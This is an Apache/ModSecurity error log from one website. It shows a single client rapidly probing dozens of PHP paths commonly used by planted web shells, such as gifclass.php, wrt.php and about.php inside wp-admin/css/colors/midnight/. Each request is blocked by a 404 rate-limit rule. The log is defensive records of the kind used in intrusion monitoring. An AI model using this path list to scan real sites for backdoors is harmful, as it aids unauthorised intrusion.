[Sat Dec 27 03:50:24.925487 2025] [:error] [pid 53445:tid 53519] [client 4.189.107.91:13131] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU7nAJExImFfF-26sOBqLgAAAIE"]
[Sat Dec 27 03:50:25.152047 2025] [:error] [pid 53445:tid 53533] [client 4.189.107.91:13309] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU7nAZExImFfF-26sOBqLwAAAI8"]
[Sat Dec 27 03:50:25.390987 2025] [:error] [pid 53445:tid 53528] [client 4.189.107.91:13205] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU7nAZExImFfF-26sOBqMAAAAIo"]
[Sat Dec 27 03:50:25.627959 2025] [:error] [pid 53444:tid 53515] [client 4.189.107.91:13217] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU7nAeu6cLWyKXCdJRwjQAAAAFg"]
[Sat Dec 27 03:50:25.859282 2025] [:error] [pid 53444:tid 53500] [client 4.189.107.91:13208] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aU7nAeu6cLWyKXCdJRwjQQAAAEk"]
[Sat Dec 27 03:50:26.095648 2025] [:error] [pid 53445:tid 53536] [client 4.189.107.91:13189] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU7nApExImFfF-26sOBqMQAAAJI"]
[Sat Dec 27 03:50:26.325923 2025] [:error] [pid 53443:tid 53476] [client 4.189.107.91:13221] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU7nAovixl-n325_196x1AAAABc"]
[Sat Dec 27 03:50:26.552521 2025] [:error] [pid 53445:tid 53535] [client 4.189.107.91:13274] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU7nApExImFfF-26sOBqMgAAAJE"]
[Sat Dec 27 03:50:26.793303 2025] [:error] [pid 53443:tid 53458] [client 4.189.107.91:18822] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aU7nAovixl-n325_196x1gAAAAU"]
[Sat Dec 27 03:50:27.021418 2025] [:error] [pid 53445:tid 53541] [client 4.189.107.91:13294] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aU7nA5ExImFfF-26sOBqMwAAAJc"]
[Sat Dec 27 03:50:27.261445 2025] [:error] [pid 53443:tid 53459] [client 4.189.107.91:13198] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aU7nA4vixl-n325_196x1wAAAAY"]
[Sat Dec 27 03:50:27.489273 2025] [:error] [pid 53445:tid 53542] [client 4.189.107.91:18876] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aU7nA5ExImFfF-26sOBqNAAAAJg"]
[Sat Dec 27 03:50:27.715732 2025] [:error] [pid 53445:tid 53518] [client 4.189.107.91:13304] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fwe.php"] [unique_id "aU7nA5ExImFfF-26sOBqNgAAAIA"]
[Sat Dec 27 03:50:27.952038 2025] [:error] [pid 53444:tid 53495] [client 4.189.107.91:18928] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU7nA-u6cLWyKXCdJRwjRQAAAEQ"]
[Sat Dec 27 03:50:28.179505 2025] [:error] [pid 53445:tid 53521] [client 4.189.107.91:12693] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU7nBJExImFfF-26sOBqNwAAAIM"]
[Sat Dec 27 03:50:28.409475 2025] [:error] [pid 53444:tid 53502] [client 4.189.107.91:13200] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU7nBOu6cLWyKXCdJRwjRwAAAEs"]
[Sat Dec 27 03:50:28.636402 2025] [:error] [pid 53445:tid 53522] [client 4.189.107.91:18923] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU7nBJExImFfF-26sOBqOQAAAIQ"]
[Sat Dec 27 03:50:28.863695 2025] [:error] [pid 53445:tid 53524] [client 4.189.107.91:13239] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU7nBJExImFfF-26sOBqOgAAAIY"]
[Sat Dec 27 03:50:29.089674 2025] [:error] [pid 53443:tid 53456] [client 4.189.107.91:13251] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU7nBYvixl-n325_196x2AAAAAM"]
[Sat Dec 27 03:50:29.316716 2025] [:error] [pid 53445:tid 53523] [client 4.189.107.91:13204] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU7nBZExImFfF-26sOBqOwAAAIU"]
[Sat Dec 27 03:50:29.550777 2025] [:error] [pid 53445:tid 53529] [client 4.189.107.91:13241] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aU7nBZExImFfF-26sOBqPAAAAIs"]
[Sat Dec 27 03:50:29.788427 2025] [:error] [pid 53445:tid 53526] [client 4.189.107.91:18830] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aU7nBZExImFfF-26sOBqPQAAAIg"]
[Sat Dec 27 03:50:30.014119 2025] [:error] [pid 53445:tid 53525] [client 4.189.107.91:13201] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aU7nBpExImFfF-26sOBqPgAAAIc"]
[Sat Dec 27 03:50:30.256352 2025] [:error] [pid 53443:tid 53474] [client 4.189.107.91:13191] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aU7nBovixl-n325_196x2gAAABU"]
[Sat Dec 27 03:50:30.484405 2025] [:error] [pid 53443:tid 53469] [client 4.189.107.91:13214] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aU7nBovixl-n325_196x3QAAABA"]
[Sat Dec 27 03:50:30.714637 2025] [:error] [pid 53550:tid 53573] [client 4.189.107.91:18894] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU7nBrgHjjFoyoP_DoHGggAAANM"]
[Sat Dec 27 03:50:30.955866 2025] [:error] [pid 53443:tid 53462] [client 4.189.107.91:13211] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU7nBovixl-n325_196yFAAAAAk"]
[Sat Dec 27 03:50:31.191357 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:13230] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU7nB4vixl-n325_196yMgAAAAs"]
[Sat Dec 27 03:50:31.417056 2025] [:error] [pid 53444:tid 53509] [client 4.189.107.91:13126] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU7nB-u6cLWyKXCdJRwjSAAAAFI"]
[Sat Dec 27 03:50:31.645454 2025] [:error] [pid 53443:tid 53477] [client 4.189.107.91:13271] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU7nB4vixl-n325_196yVwAAABg"]
[Sat Dec 27 03:50:31.871453 2025] [:error] [pid 53443:tid 53460] [client 4.189.107.91:18858] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU7nB4vixl-n325_196yWAAAAAc"]
[Sat Dec 27 03:50:32.121355 2025] [:error] [pid 53550:tid 53567] [client 4.189.107.91:13300] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU7nCLgHjjFoyoP_DoHGlQAAAM0"]
[Sat Dec 27 03:50:32.356314 2025] [:error] [pid 53444:tid 53510] [client 4.189.107.91:13258] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aU7nCOu6cLWyKXCdJRwjSgAAAFM"]
[Sat Dec 27 03:50:32.582068 2025] [:error] [pid 53444:tid 53514] [client 4.189.107.91:13308] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU7nCOu6cLWyKXCdJRwjSwAAAFc"]
[Sat Dec 27 03:50:32.809336 2025] [:error] [pid 53550:tid 53575] [client 4.189.107.91:13235] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU7nCLgHjjFoyoP_DoHGmQAAANU"]
[Sat Dec 27 03:50:33.037222 2025] [:error] [pid 53445:tid 53540] [client 4.189.107.91:13296] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU7nCZExImFfF-26sOBqRgAAAJY"]
[Sat Dec 27 03:50:33.262897 2025] [:error] [pid 53550:tid 53572] [client 4.189.107.91:13219] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aU7nCbgHjjFoyoP_DoHGmwAAANI"]
[Sat Dec 27 03:50:33.491723 2025] [:error] [pid 53444:tid 53505] [client 4.189.107.91:13277] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU7nCeu6cLWyKXCdJRwjTAAAAE4"]
[Sat Dec 27 03:50:33.720057 2025] [:error] [pid 53550:tid 53576] [client 4.189.107.91:18843] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU7nCbgHjjFoyoP_DoHGnAAAANY"]
[Sat Dec 27 03:50:33.946404 2025] [:error] [pid 53444:tid 53504] [client 4.189.107.91:13250] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU7nCeu6cLWyKXCdJRwjTQAAAE0"]
[Sat Dec 27 03:50:34.173149 2025] [:error] [pid 53444:tid 53492] [client 4.189.107.91:13297] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aU7nCuu6cLWyKXCdJRwjTgAAAEE"]
[Sat Dec 27 03:50:34.399183 2025] [:error] [pid 53445:tid 53542] [client 4.189.107.91:13171] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU7nCpExImFfF-26sOBqRwAAAJg"]
[Sat Dec 27 03:50:34.625117 2025] [:error] [pid 53444:tid 53494] [client 4.189.107.91:13210] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU7nCuu6cLWyKXCdJRwjUAAAAEM"]
[Sat Dec 27 03:50:34.852399 2025] [:error] [pid 53444:tid 53500] [client 4.189.107.91:13242] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU7nCuu6cLWyKXCdJRwjUwAAAEk"]
[Sat Dec 27 03:50:35.078834 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:13223] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aU7nC4vixl-n325_196yWgAAAAI"]
[Sat Dec 27 03:50:35.311929 2025] [:error] [pid 53444:tid 53501] [client 4.189.107.91:12698] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU7nC-u6cLWyKXCdJRwjVAAAAEo"]
[Sat Dec 27 03:50:35.540152 2025] [:error] [pid 53445:tid 53538] [client 4.189.107.91:13236] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU7nC5ExImFfF-26sOBqSAAAAJQ"]
[Sat Dec 27 03:50:35.767234 2025] [:error] [pid 53443:tid 53454] [client 4.189.107.91:13203] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU7nC4vixl-n325_196yXAAAAAE"]
[Sat Dec 27 03:50:35.993882 2025] [:error] [pid 53443:tid 53464] [client 4.189.107.91:13135] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file7.php"] [unique_id "aU7nC4vixl-n325_196yXgAAAAs"]
[Sat Dec 27 03:50:36.219494 2025] [:error] [pid 53443:tid 53461] [client 4.189.107.91:13265] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU7nDIvixl-n325_196yXwAAAAg"]
[Sat Dec 27 03:50:36.450352 2025] [:error] [pid 53443:tid 53459] [client 4.189.107.91:13194] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU7nDIvixl-n325_196yYAAAAAY"]
[Sat Dec 27 03:50:36.675645 2025] [:error] [pid 53443:tid 53463] [client 4.189.107.91:18857] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU7nDIvixl-n325_196yYQAAAAo"]
[Sat Dec 27 03:50:36.903056 2025] [:error] [pid 53444:tid 53511] [client 4.189.107.91:12683] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aU7nDOu6cLWyKXCdJRwjVgAAAFQ"]
[Sat Dec 27 03:50:37.131401 2025] [:error] [pid 53444:tid 53493] [client 4.189.107.91:13272] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU7nDeu6cLWyKXCdJRwjVwAAAEI"]
[Sat Dec 27 03:50:37.361279 2025] [:error] [pid 53443:tid 53472] [client 4.189.107.91:13155] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU7nDYvixl-n325_196yYgAAABM"]
[Sat Dec 27 03:50:37.587412 2025] [:error] [pid 53443:tid 53455] [client 4.189.107.91:13138] [client 4.189.107.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aU7nDYvixl-n325_196yYwAAAAI"]
